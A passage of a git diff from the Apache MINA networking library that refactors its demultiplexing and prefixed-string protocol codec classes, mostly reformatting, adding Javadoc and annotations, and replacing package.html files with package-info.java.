    - *
  • {@link MessageDecoderResult#NOT_OK} - protocol violation; {@link ProtocolDecoderException} - * is raised automatically.
  • - *
  • {@link MessageDecoderResult#NEED_DATA} - needs more data to read the whole message; - * {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)} - * will be invoked again when more data is received.
  • - *
  • {@link MessageDecoderResult#OK} - successfully decoded a message; the candidate list will - * be reset and the selection process will start over.
  • + *
  • + * {@link MessageDecoderResult#NOT_OK} - protocol violation; {@link ProtocolDecoderException} + * is raised automatically. + *
  • + *
  • + * {@link MessageDecoderResult#NEED_DATA} - needs more data to read the whole message; + * {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)} + * will be invoked again when more data is received. + *
  • + *
  • + * {@link MessageDecoderResult#OK} - successfully decoded a message; the candidate list will + * be reset and the selection process will start over. + *
  • *
* * @author Apache MINA Project @@ -72,15 +87,17 @@ */ public class DemuxingProtocolDecoder extends CumulativeProtocolDecoder { - private final AttributeKey STATE = new AttributeKey(getClass(), "state"); - + private static final AttributeKey STATE = new AttributeKey(DemuxingProtocolDecoder.class, "state"); + private MessageDecoderFactory[] decoderFactories = new MessageDecoderFactory[0]; - private static final Class[] EMPTY_PARAMS = new Class[0]; - public DemuxingProtocolDecoder() { - // Do nothing - } + private static final Class[] EMPTY_PARAMS = new Class[0]; + /** + * Adds a new message decoder class + * + * @param decoderClass The decoder class + */ public void addMessageDecoder(Class decoderClass) { if (decoderClass == null) { throw new IllegalArgumentException("decoderClass"); @@ -89,8 +106,7 @@ public void addMessageDecoder(Class decoderClass) { try { decoderClass.getConstructor(EMPTY_PARAMS); } catch (NoSuchMethodException e) { - throw new IllegalArgumentException( - "The specified class doesn't have a public default constructor."); + throw new IllegalArgumentException("The specified class doesn't have a public default constructor."); } boolean registered = false; @@ -100,43 +116,53 @@ public void addMessageDecoder(Class decoderClass) { } if (!registered) { - throw new IllegalArgumentException( - "Unregisterable type: " + decoderClass); + throw new IllegalArgumentException("Unregisterable type: " + decoderClass); } } + /** + * Adds a new message decoder instance + * + * @param decoder The decoder instance + */ public void addMessageDecoder(MessageDecoder decoder) { addMessageDecoder(new SingletonMessageDecoderFactory(decoder)); } + /** + * Adds a new message decoder factory + * + * @param factory The decoder factory + */ public void addMessageDecoder(MessageDecoderFactory factory) { if (factory == null) { throw new IllegalArgumentException("factory"); } - MessageDecoderFactory[] decoderFactories = this.decoderFactories; + MessageDecoderFactory[] newDecoderFactories = new MessageDecoderFactory[decoderFactories.length + 1]; - System.arraycopy(decoderFactories, 0, newDecoderFactories, 0, - decoderFactories.length); + System.arraycopy(decoderFactories, 0, newDecoderFactories, 0, decoderFactories.length); newDecoderFactories[decoderFactories.length] = factory; this.decoderFactories = newDecoderFactories; } - + + /** + * {@inheritDoc} + */ @Override - protected boolean doDecode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception { + protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { State state = getState(session); - + if (state.currentDecoder == null) { MessageDecoder[] decoders = state.decoders; int undecodables = 0; - + for (int i = decoders.length - 1; i >= 0; i--) { MessageDecoder decoder = decoders[i]; int limit = in.limit(); int pos = in.position(); MessageDecoderResult result; - + try { result = decoder.decodable(session, in); } finally { @@ -150,9 +176,7 @@ protected boolean doDecode(IoSession session, IoBuffer in, } else if (result == MessageDecoder.NOT_OK) { undecodables++; } else if (result != MessageDecoder.NEED_DATA) { - throw new IllegalStateException( - "Unexpected decode result (see your decodable()): " - + result); + throw new IllegalStateException("Unexpected decode result (see your decodable()): " + result); } } @@ -160,8 +184,7 @@ protected boolean doDecode(IoSession session, IoBuffer in, // Throw an exception if all decoders cannot decode data. String dump = in.getHexDump(); in.position(in.limit()); // Skip data - ProtocolDecoderException e = new ProtocolDecoderException( - "No appropriate message decoder: " + dump); + ProtocolDecoderException e = new ProtocolDecoderException("No appropriate message decoder: " + dump); e.setHexdump(dump); throw e; } @@ -172,28 +195,31 @@ protected boolean doDecode(IoSession session, IoBuffer in, } } - MessageDecoderResult result = state.currentDecoder.decode(session, in, - out); - if (result == MessageDecoder.OK) { - state.currentDecoder = null; - return true; - } else if (result == MessageDecoder.NEED_DATA) { - return false; - } else if (result == MessageDecoder.NOT_OK) { - state.currentDecoder = null; - throw new ProtocolDecoderException( - "Message decoder returned NOT_OK."); - } else { + try { + MessageDecoderResult result = state.currentDecoder.decode(session, in, out); + if (result == MessageDecoder.OK) { + state.currentDecoder = null; + return true; + } else if (result == MessageDecoder.NEED_DATA) { + return false; + } else if (result == MessageDecoder.NOT_OK) { + state.currentDecoder = null; + throw new ProtocolDecoderException("Message decoder returned NOT_OK."); + } else { + state.currentDecoder = null; + throw new IllegalStateException("Unexpected decode result (see your decode()): " + result); + } + } catch (Exception e) { state.currentDecoder = null; - throw new IllegalStateException( - "Unexpected decode result (see your decode()): " - + result); + throw e; } } + /** + * {@inheritDoc} + */ @Override - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { super.finishDecode(session, out); State state = getState(session); MessageDecoder currentDecoder = state.currentDecoder; @@ -204,42 +230,46 @@ public void finishDecode(IoSession session, ProtocolDecoderOutput out) currentDecoder.finishDecode(session, out); } + /** + * {@inheritDoc} + */ @Override public void dispose(IoSession session) throws Exception { super.dispose(session); session.removeAttribute(STATE); } - + private State getState(IoSession session) throws Exception { State state = (State) session.getAttribute(STATE); - + if (state == null) { state = new State(); State oldState = (State) session.setAttributeIfAbsent(STATE, state); - + if (oldState != null) { state = oldState; } } - + return state; } - + private class State { private final MessageDecoder[] decoders; + private MessageDecoder currentDecoder; - + private State() throws Exception { - MessageDecoderFactory[] decoderFactories = DemuxingProtocolDecoder.this.decoderFactories; - decoders = new MessageDecoder[decoderFactories.length]; - for (int i = decoderFactories.length - 1; i >= 0; i--) { - decoders[i] = decoderFactories[i].getDecoder(); + MessageDecoderFactory[] factories = DemuxingProtocolDecoder.this.decoderFactories; + decoders = new MessageDecoder[factories.length]; + + for (int i = factories.length - 1; i >= 0; i--) { + decoders[i] = factories[i].getDecoder(); } } } - private static class SingletonMessageDecoderFactory implements - MessageDecoderFactory { + private static class SingletonMessageDecoderFactory implements MessageDecoderFactory { private final MessageDecoder decoder; private SingletonMessageDecoderFactory(MessageDecoder decoder) { @@ -249,13 +279,16 @@ private SingletonMessageDecoderFactory(MessageDecoder decoder) { this.decoder = decoder; } + /** + * {@inheritDoc} + */ + @Override public MessageDecoder getDecoder() { return decoder; } } - private static class DefaultConstructorMessageDecoderFactory implements - MessageDecoderFactory { + private static class DefaultConstructorMessageDecoderFactory implements MessageDecoderFactory { private final Class decoderClass; private DefaultConstructorMessageDecoderFactory(Class decoderClass) { @@ -264,12 +297,15 @@ private DefaultConstructorMessageDecoderFactory(Class decoderClass) { } if (!MessageDecoder.class.isAssignableFrom(decoderClass)) { - throw new IllegalArgumentException( - "decoderClass is not assignable to MessageDecoder"); + throw new IllegalArgumentException("decoderClass is not assignable to MessageDecoder"); } this.decoderClass = decoderClass; } + /** + * {@inheritDoc} + */ + @Override public MessageDecoder getDecoder() throws Exception { return (MessageDecoder) decoderClass.newInstance(); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolEncoder.java index f698870ce0..2cb07c5c68 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/DemuxingProtocolEncoder.java @@ -38,7 +38,7 @@ *

Disposing resources acquired by {@link MessageEncoder}

*

* Override {@link #dispose(IoSession)} method. Please don't forget to call - * super.dispose(). + * super.dispose(). * * @author Apache MINA Project * @@ -46,19 +46,21 @@ * @see MessageEncoder */ public class DemuxingProtocolEncoder implements ProtocolEncoder { - - private final AttributeKey STATE = new AttributeKey(getClass(), "state"); - @SuppressWarnings("unchecked") - private final Map, MessageEncoderFactory> type2encoderFactory = new CopyOnWriteMap, MessageEncoderFactory>(); + private static final AttributeKey STATE = new AttributeKey(DemuxingProtocolEncoder.class, "state"); - private static final Class[] EMPTY_PARAMS = new Class[0]; + @SuppressWarnings("rawtypes") + private final Map, MessageEncoderFactory> type2encoderFactory = new CopyOnWriteMap<>(); - public DemuxingProtocolEncoder() { - // Do nothing - } + private static final Class[] EMPTY_PARAMS = new Class[0]; - @SuppressWarnings("unchecked") + /** + * Add a new message encoder class for a given message type + * + * @param messageType The message type + * @param encoderClass The encoder class + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) public void addMessageEncoder(Class messageType, Class encoderClass) { if (encoderClass == null) { throw new IllegalArgumentException("encoderClass"); @@ -67,74 +69,110 @@ public void addMessageEncoder(Class messageType, Class The message type + * @param messageType The message type + * @param encoder The encoder instance + */ + @SuppressWarnings({ "unchecked", "rawtypes" }) public void addMessageEncoder(Class messageType, MessageEncoder encoder) { addMessageEncoder(messageType, new SingletonMessageEncoderFactory(encoder)); } + /** + * Add a new message encoder factory for a given message type + * + * @param The message type + * @param messageType The message type + * @param factory The encoder factory + */ public void addMessageEncoder(Class messageType, MessageEncoderFactory factory) { if (messageType == null) { throw new IllegalArgumentException("messageType"); } - + if (factory == null) { throw new IllegalArgumentException("factory"); } - + synchronized (type2encoderFactory) { if (type2encoderFactory.containsKey(messageType)) { - throw new IllegalStateException( - "The specified message type (" + messageType.getName() + ") is registered already."); + throw new IllegalStateException("The specified message type (" + messageType.getName() + + ") is registered already."); } - + type2encoderFactory.put(messageType, factory); } } - @SuppressWarnings("unchecked") + /** + * Add a new message encoder class for a list of message types + * + * @param messageTypes The message types + * @param encoderClass The encoder class + */ + @SuppressWarnings("rawtypes") public void addMessageEncoder(Iterable> messageTypes, Class encoderClass) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, encoderClass); } } - + + /** + * Add a new message instance class for a list of message types + * + * @param The message type + * @param messageTypes The message types + * @param encoder The encoder instance + */ public void addMessageEncoder(Iterable> messageTypes, MessageEncoder encoder) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, encoder); } } - - public void addMessageEncoder(Iterable> messageTypes, MessageEncoderFactory factory) { + + /** + * Add a new message encoder factory for a list of message types + * + * @param The message type + * @param messageTypes The message types + * @param factory The encoder factory + */ + public void addMessageEncoder(Iterable> messageTypes, + MessageEncoderFactory factory) { for (Class messageType : messageTypes) { addMessageEncoder(messageType, factory); } } - - public void encode(IoSession session, Object message, - ProtocolEncoderOutput out) throws Exception { + + /** + * {@inheritDoc} + */ + @Override + public void encode(IoSession session, Object message, ProtocolEncoderOutput out) throws Exception { State state = getState(session); MessageEncoder encoder = findEncoder(state, message.getClass()); if (encoder != null) { encoder.encode(session, message, out); } else { - throw new UnknownMessageTypeException( - "No message encoder found for message: " + message); + throw new UnknownMessageTypeException("No message encoder found for message: " + message); } } @@ -143,9 +181,9 @@ protected MessageEncoder findEncoder(State state, Class type) { } @SuppressWarnings("unchecked") - private MessageEncoder findEncoder( - State state, Class type, Set triedClasses) { - MessageEncoder encoder = null; + private MessageEncoder findEncoder(State state, Class type, Set> triedClasses) { + @SuppressWarnings("rawtypes") + MessageEncoder encoder; if (triedClasses != null && triedClasses.contains(type)) { return null; @@ -155,6 +193,7 @@ private MessageEncoder findEncoder( * Try the cache first. */ encoder = state.findEncoderCache.get(type); + if (encoder != null) { return encoder; } @@ -170,13 +209,16 @@ private MessageEncoder findEncoder( */ if (triedClasses == null) { - triedClasses = new IdentityHashSet(); + triedClasses = new IdentityHashSet<>(); } + triedClasses.add(type); - Class[] interfaces = type.getInterfaces(); - for (Class element : interfaces) { + Class[] interfaces = type.getInterfaces(); + + for (Class element : interfaces) { encoder = findEncoder(state, element, triedClasses); + if (encoder != null) { break; } @@ -189,7 +231,8 @@ private MessageEncoder findEncoder( * superclass. */ - Class superclass = type.getSuperclass(); + Class superclass = type.getSuperclass(); + if (superclass != null) { encoder = findEncoder(state, superclass); } @@ -202,15 +245,24 @@ private MessageEncoder findEncoder( */ if (encoder != null) { state.findEncoderCache.put(type, encoder); + MessageEncoder tmpEncoder = state.findEncoderCache.putIfAbsent(type, encoder); + + if (tmpEncoder != null) { + encoder = tmpEncoder; + } } return encoder; } + /** + * {@inheritDoc} + */ + @Override public void dispose(IoSession session) throws Exception { session.removeAttribute(STATE); } - + private State getState(IoSession session) throws Exception { State state = (State) session.getAttribute(STATE); if (state == null) { @@ -222,24 +274,23 @@ private State getState(IoSession session) throws Exception { } return state; } - + private class State { - @SuppressWarnings("unchecked") - private final Map, MessageEncoder> findEncoderCache = new ConcurrentHashMap, MessageEncoder>(); + @SuppressWarnings("rawtypes") + private final ConcurrentHashMap, MessageEncoder> findEncoderCache = new ConcurrentHashMap<>(); - @SuppressWarnings("unchecked") - private final Map, MessageEncoder> type2encoder = new ConcurrentHashMap, MessageEncoder>(); - - @SuppressWarnings("unchecked") + @SuppressWarnings("rawtypes") + private final Map, MessageEncoder> type2encoder = new ConcurrentHashMap<>(); + + @SuppressWarnings("rawtypes") private State() throws Exception { - for (Map.Entry, MessageEncoderFactory> e: type2encoderFactory.entrySet()) { + for (Map.Entry, MessageEncoderFactory> e : type2encoderFactory.entrySet()) { type2encoder.put(e.getKey(), e.getValue().getEncoder()); } } } - private static class SingletonMessageEncoderFactory implements - MessageEncoderFactory { + private static class SingletonMessageEncoderFactory implements MessageEncoderFactory { private final MessageEncoder encoder; private SingletonMessageEncoderFactory(MessageEncoder encoder) { @@ -249,13 +300,16 @@ private SingletonMessageEncoderFactory(MessageEncoder encoder) { this.encoder = encoder; } + /** + * {@inheritDoc} + */ + @Override public MessageEncoder getEncoder() { return encoder; } } - private static class DefaultConstructorMessageEncoderFactory implements - MessageEncoderFactory { + private static class DefaultConstructorMessageEncoderFactory implements MessageEncoderFactory { private final Class> encoderClass; private DefaultConstructorMessageEncoderFactory(Class> encoderClass) { @@ -264,12 +318,15 @@ private DefaultConstructorMessageEncoderFactory(Class> encoder } if (!MessageEncoder.class.isAssignableFrom(encoderClass)) { - throw new IllegalArgumentException( - "encoderClass is not assignable to MessageEncoder"); + throw new IllegalArgumentException("encoderClass is not assignable to MessageEncoder"); } this.encoderClass = encoderClass; } + /** + * {@inheritDoc} + */ + @Override public MessageEncoder getEncoder() throws Exception { return encoderClass.newInstance(); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoder.java index 27a207452c..04c6a17ad6 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoder.java @@ -26,7 +26,7 @@ /** * Decodes a certain type of messages. *

- * We didn't provide any dispose method for {@link MessageDecoder} + * We didn't provide any dispose method for {@link MessageDecoder} * because it can give you performance penalty in case you have a lot of * message types to handle. * @@ -41,25 +41,27 @@ public interface MessageDecoder { * {@link #decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. Please * refer to each method's documentation for detailed explanation. */ - static MessageDecoderResult OK = MessageDecoderResult.OK; + MessageDecoderResult OK = MessageDecoderResult.OK; /** * Represents a result from {@link #decodable(IoSession, IoBuffer)} and * {@link #decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. Please * refer to each method's documentation for detailed explanation. */ - static MessageDecoderResult NEED_DATA = MessageDecoderResult.NEED_DATA; + MessageDecoderResult NEED_DATA = MessageDecoderResult.NEED_DATA; /** * Represents a result from {@link #decodable(IoSession, IoBuffer)} and * {@link #decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. Please * refer to each method's documentation for detailed explanation. */ - static MessageDecoderResult NOT_OK = MessageDecoderResult.NOT_OK; + MessageDecoderResult NOT_OK = MessageDecoderResult.NOT_OK; /** * Checks the specified buffer is decodable by this decoder. * + * @param session The current session + * @param in The buffer containing the data to decode * @return {@link #OK} if this decoder can decode the specified buffer. * {@link #NOT_OK} if this decoder cannot decode the specified buffer. * {@link #NEED_DATA} if more data is required to determine if the @@ -74,25 +76,27 @@ public interface MessageDecoder { * method with read data, and then the decoder implementation puts decoded * messages into {@link ProtocolDecoderOutput}. * + * @param session The current session + * @param in The buffer containing the data to decode + * @param out The instance of {@link ProtocolDecoderOutput} that will receive the decoded messages * @return {@link #OK} if you finished decoding messages successfully. * {@link #NEED_DATA} if you need more data to finish decoding current message. * {@link #NOT_OK} if you cannot decode current message due to protocol specification violation. - * * @throws Exception if the read data violated protocol specification */ - MessageDecoderResult decode(IoSession session, IoBuffer in, - ProtocolDecoderOutput out) throws Exception; + MessageDecoderResult decode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception; /** - * Invoked when the specified session is closed while this decoder was + * Invoked when the specified session is closed while this decoder was * parsing the data. This method is useful when you deal with the protocol which doesn't - * specify the length of a message such as HTTP response without content-length + * specify the length of a message such as HTTP response without content-length * header. Implement this method to process the remaining data that * {@link #decode(IoSession, IoBuffer, ProtocolDecoderOutput)} method didn't process * completely. * + * @param session The current session + * @param out The instance of {@link ProtocolDecoderOutput} that contains the decoded messages * @throws Exception if the read data violated protocol specification */ - void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception; + void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderAdapter.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderAdapter.java index 3531e15d4e..039ff530b8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderAdapter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderAdapter.java @@ -34,8 +34,7 @@ public abstract class MessageDecoderAdapter implements MessageDecoder { * Override this method to deal with the closed connection. * The default implementation does nothing. */ - public void finishDecode(IoSession session, ProtocolDecoderOutput out) - throws Exception { + public void finishDecode(IoSession session, ProtocolDecoderOutput out) throws Exception { // Do nothing } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderFactory.java index a6e4ecc20c..6ad6cdcc0e 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderFactory.java @@ -29,6 +29,9 @@ public interface MessageDecoderFactory { /** * Creates a new message decoder. + * + * @return The created decoder + * @throws Exception If we weren't able to create the decoder */ MessageDecoder getDecoder() throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderResult.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderResult.java index 327861d451..d57c22c67b 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderResult.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageDecoderResult.java @@ -19,6 +19,10 @@ */ package org.apache.mina.filter.codec.demux; +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolDecoderOutput; + /** * Represents results from {@link MessageDecoder}. * @@ -32,23 +36,21 @@ public class MessageDecoderResult { * and {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. * Please refer to each method's documentation for detailed explanation. */ - public static MessageDecoderResult OK = new MessageDecoderResult("OK"); + public static final MessageDecoderResult OK = new MessageDecoderResult("OK"); /** * Represents a result from {@link MessageDecoder#decodable(IoSession, IoBuffer)} * and {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. * Please refer to each method's documentation for detailed explanation. */ - public static MessageDecoderResult NEED_DATA = new MessageDecoderResult( - "NEED_DATA"); + public static final MessageDecoderResult NEED_DATA = new MessageDecoderResult("NEED_DATA"); /** * Represents a result from {@link MessageDecoder#decodable(IoSession, IoBuffer)} * and {@link MessageDecoder#decode(IoSession, IoBuffer, ProtocolDecoderOutput)}. * Please refer to each method's documentation for detailed explanation. */ - public static MessageDecoderResult NOT_OK = new MessageDecoderResult( - "NOT_OK"); + public static final MessageDecoderResult NOT_OK = new MessageDecoderResult("NOT_OK"); private final String name; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoder.java index 3cbca5d2a2..af900d297a 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoder.java @@ -26,7 +26,7 @@ /** * Encodes a certain type of messages. *

- * We didn't provide any dispose method for {@link MessageEncoder} + * We didn't provide any dispose method for {@link MessageEncoder} * because it can give you performance penalty in case you have a lot of * message types to handle. * @@ -34,6 +34,8 @@ * * @see DemuxingProtocolEncoder * @see MessageEncoderFactory + * + * @param The message type */ public interface MessageEncoder { /** @@ -43,8 +45,10 @@ public interface MessageEncoder { * the encoder implementation puts encoded {@link IoBuffer}s into * {@link ProtocolEncoderOutput}. * + * @param session The current session + * @param message The message to encode + * @param out The instance of {@link ProtocolEncoderOutput} that will receive the encoded message * @throws Exception if the message violated protocol specification */ - void encode(IoSession session, T message, ProtocolEncoderOutput out) - throws Exception; + void encode(IoSession session, T message, ProtocolEncoderOutput out) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoderFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoderFactory.java index f7ce5a3936..358ba3dcfc 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoderFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/MessageEncoderFactory.java @@ -25,10 +25,15 @@ * @author Apache MINA Project * * @see DemuxingProtocolEncoder + * + * @param the message type */ public interface MessageEncoderFactory { /** * Creates a new message encoder. + * + * @return The created encoder + * @throws Exception If we weren't able to create an encoder */ MessageEncoder getEncoder() throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspector.java b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/package-info.java similarity index 82% rename from mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspector.java rename to mina-core/src/main/java/org/apache/mina/filter/codec/demux/package-info.java index 089122e0a8..52262b2ee5 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspector.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/package-info.java @@ -17,15 +17,10 @@ * under the License. * */ -package org.apache.mina.filter.reqres; /** - * TODO Add documentation + * Protocol codecs that helps you to implement even more complex protocols by splitting a codec into multiple sub-codecs. * * @author Apache MINA Project */ -public interface ResponseInspector { - Object getRequestId(Object message); - - ResponseType getResponseType(Object message); -} +package org.apache.mina.filter.codec.demux; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/package.html b/mina-core/src/main/java/org/apache/mina/filter/codec/demux/package.html deleted file mode 100644 index cda589a66e..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/demux/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Protocol codecs that helps you to implement even more complex protocols by -splitting a codec into multiple sub-codecs. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspectorFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/package-info.java similarity index 80% rename from mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspectorFactory.java rename to mina-core/src/main/java/org/apache/mina/filter/codec/package-info.java index f9ecebf225..ef60508ed1 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/ResponseInspectorFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/package-info.java @@ -17,16 +17,10 @@ * under the License. * */ -package org.apache.mina.filter.reqres; /** - * TODO Add documentation + * Filter implementations that helps you to implement complex protocols via 'codec' concept. * * @author Apache MINA Project */ -public interface ResponseInspectorFactory { - /** - * Returns a {@link ResponseInspector}. - */ - ResponseInspector getResponseInspector(); -} +package org.apache.mina.filter.codec; diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/package.html b/mina-core/src/main/java/org/apache/mina/filter/codec/package.html deleted file mode 100644 index 4928e10032..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/package.html +++ /dev/null @@ -1,25 +0,0 @@ - - - - - - -Filter implementations that helps you to implement complex protocols -via 'codec' concept. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringCodecFactory.java index 253f0bb663..fbbffb6d63 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringCodecFactory.java @@ -39,11 +39,19 @@ public class PrefixedStringCodecFactory implements ProtocolCodecFactory { private final PrefixedStringDecoder decoder; + /** + * Creates a new PrefixedStringCodecFactory instance + * + * @param charset The {@link Charset} to use for encoding or decoding + */ public PrefixedStringCodecFactory(Charset charset) { encoder = new PrefixedStringEncoder(charset); decoder = new PrefixedStringDecoder(charset); } + /** + * Creates a new PrefixedStringCodecFactory instance + */ public PrefixedStringCodecFactory() { this(Charset.defaultCharset()); } @@ -53,7 +61,7 @@ public PrefixedStringCodecFactory() { * If the size of the encoded String exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. * The default value is {@link PrefixedStringEncoder#DEFAULT_MAX_DATA_LENGTH}. - *

+ *

* This method does the same job as {@link PrefixedStringEncoder#setMaxDataLength(int)}. * * @return the allowed maximum size of an encoded string. @@ -67,7 +75,7 @@ public int getEncoderMaxDataLength() { * If the size of the encoded String exceeds this value, the encoder * will throw a {@link IllegalArgumentException}. * The default value is {@link PrefixedStringEncoder#DEFAULT_MAX_DATA_LENGTH}. - *

+ *

* This method does the same job as {@link PrefixedStringEncoder#getMaxDataLength()}. * * @param maxDataLength allowed maximum size of an encoded String. @@ -77,12 +85,9 @@ public void setEncoderMaxDataLength(int maxDataLength) { } /** - * Returns the allowed maximum size of a decoded string. + * @return the allowed maximum size of a decoded string. *

* This method does the same job as {@link PrefixedStringEncoder#setMaxDataLength(int)}. - *

- * - * @return the allowed maximum size of an encoded string. * @see #setDecoderMaxDataLength(int) */ public int getDecoderMaxDataLength() { @@ -96,9 +101,8 @@ public int getDecoderMaxDataLength() { * The decoder will throw a {@link BufferDataException} when data length * specified in the incoming data is greater than maxDataLength * The default value is {@link PrefixedStringDecoder#DEFAULT_MAX_DATA_LENGTH}. - * + *

* This method does the same job as {@link PrefixedStringDecoder#setMaxDataLength(int)}. - *

* * @param maxDataLength maximum allowed value specified as data length in the incoming data */ @@ -142,10 +146,18 @@ public int getEncoderPrefixLength() { return encoder.getPrefixLength(); } + /** + * {@inheritDoc} + */ + @Override public ProtocolEncoder getEncoder(IoSession session) throws Exception { return encoder; } + /** + * {@inheritDoc} + */ + @Override public ProtocolDecoder getDecoder(IoSession session) throws Exception { return decoder; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringDecoder.java index eb0be9d9c5..8e27ea626f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringDecoder.java @@ -34,10 +34,11 @@ * @author Apache MINA Project */ public class PrefixedStringDecoder extends CumulativeProtocolDecoder { + /** The default length for the prefix */ + public static final int DEFAULT_PREFIX_LENGTH = 4; - public final static int DEFAULT_PREFIX_LENGTH = 4; - - public final static int DEFAULT_MAX_DATA_LENGTH = 2048; + /** The default maximum data length */ + public static final int DEFAULT_MAX_DATA_LENGTH = 2048; private final Charset charset; @@ -46,7 +47,9 @@ public class PrefixedStringDecoder extends CumulativeProtocolDecoder { private int maxDataLength = DEFAULT_MAX_DATA_LENGTH; /** - * @param charset the charset to use for encoding + * Creates a new PrefixedStringDecoder instance + * + * @param charset the {@link Charset} to use for decoding * @param prefixLength the length of the prefix * @param maxDataLength maximum number of bytes allowed for a single String */ @@ -56,10 +59,21 @@ public PrefixedStringDecoder(Charset charset, int prefixLength, int maxDataLengt this.maxDataLength = maxDataLength; } + /** + * Creates a new PrefixedStringDecoder instance + * + * @param charset the {@link Charset} to use for decoding + * @param prefixLength the length of the prefix + */ public PrefixedStringDecoder(Charset charset, int prefixLength) { this(charset, prefixLength, DEFAULT_MAX_DATA_LENGTH); } + /** + * Creates a new PrefixedStringDecoder instance + * + * @param charset the {@link Charset} to use for decoding + */ public PrefixedStringDecoder(Charset charset) { this(charset, DEFAULT_PREFIX_LENGTH); } @@ -106,6 +120,10 @@ public int getMaxDataLength() { return maxDataLength; } + /** + * {@inheritDoc} + */ + @Override protected boolean doDecode(IoSession session, IoBuffer in, ProtocolDecoderOutput out) throws Exception { if (in.prefixedDataAvailable(prefixLength, maxDataLength)) { String msg = in.getPrefixedString(prefixLength, charset.newDecoder()); diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringEncoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringEncoder.java index 3a80f8b48b..820581d348 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/prefixedstring/PrefixedStringEncoder.java +++ 